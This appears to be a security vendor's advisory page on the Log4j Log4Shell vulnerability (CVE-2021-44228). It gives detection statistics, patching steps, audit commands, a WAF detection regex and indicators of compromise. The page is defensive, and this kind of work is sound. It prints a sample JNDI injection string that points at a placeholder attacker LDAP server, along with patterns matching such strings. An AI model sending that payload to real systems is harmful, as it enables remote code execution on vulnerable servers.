CVE-2021-44228·Log4j vulnerability

How Defensia detected this

Defensia agents read the web server logs of the Linux servers they protect and match incoming requests against exploitation signatures. When the same CVE is matched across enough independent servers, from enough distinct networks, it is recorded as being actively exploited. That threshold was crossed for CVE-2021-44228 starting 2026-10-10, across 4.2% of the servers Defensia monitors, from 3 distinct attacking IP addresses.

Every CVE we currently measure under active exploitation is listed together, with the share of servers targeted and how long each has been running.

Aggregated across every server Defensia monitors, over 2 days of observation, last measured 2026-10-11. Counts are of distinct servers and distinct source addresses, not of requests. No customer, host or domain is identified.

How likely is exploitation

FIRST's Exploit Prediction Scoring System puts the probability of this CVE being exploited in the next 30 days at 100% — among the highest-scoring CVEs ever published. EPSS is an independent forecast of exploitation, not a severity rating: it says nothing about how much damage a successful attack does, which is what a CVSS score measures.

Affected versions

How to fix this CVE

Upgrade Apache Log4j to version 2.16.0 or later (2.12.2, 2.12.3, or 2.3.1 for older branches) to eliminate the JNDI message lookup substitution feature that allows remote code execution. If immediate patching is not possible, disable message lookup substitution by setting the system property `log4j2.formatMsgNoLookups=true`. Verify the upgrade across all Java applications and services in your environment, as Log4j is commonly embedded in third-party dependencies.

sudo dnf update log4j

What an exploitation attempt looks like

Sample log line indicative of exploitation attempts:

${jndi:ldap://[attacker-controlled-server]/[arbitrary-class]}

WAF mitigation (if patching is not yet possible)

Add this rule to your WAF to block exploitation attempts while you schedule the patch.

Implement WAF rules to block HTTP requests containing JNDI lookup patterns: block requests with `${jndi:` in query parameters, POST bodies, headers, or URL paths. Use regex pattern `\$\{jndi:(ldap|rmi|dns|nis)://` to catch exploitation attempts. Configure your WAF to log and alert on these patterns while patching systems.

How to check if you are affected

1. Check installed Log4j version: `find / -name 'log4j-core-*.jar' 2>/dev/null | xargs -I {} sh -c 'echo {} && unzip -p {} META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties | grep version'` or `dpkg -l | grep -i log4j`
2. Identify all Java applications using Log4j: `lsof +D /usr/share/java /opt /var/lib 2>/dev/null | grep log4j` or scan application classpath directories
3. Search application logs for JNDI exploitation patterns: `grep -ri '\${jndi:' /var/log/ /opt/*/logs/ 2>/dev/null` or `grep -ri 'ldap://' /var/log/ 2>/dev/null`
4. Verify patched version is active: `java -cp /path/to/log4j-core-*.jar org.apache.logging.log4j.core.util.Log4jVersion` should return 2.16.0 or higher, and confirm no vulnerable version JAR files exist in classpath

Indicators of compromise

• ${jndi:ldap://
• ${jndi:rmi://
• ${jndi:dns://
• log4j-core-2.14.1.jar
• log4j-core-2.15.0.jar

FAQ

References

• http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html
• http://packetstormsecurity.com/files/165260/VMware-Security-Advisory-2021-0028.html
• http://packetstormsecurity.com/files/165261/Apache-Log4j2-2.14.1-Information-Disclosure.html
• http://packetstormsecurity.com/files/165270/Apache-Log4j2-2.14.1-Remote-Code-Execution.html
• http://packetstormsecurity.com/files/165281/Log4j2-Log4Shell-Regexes.html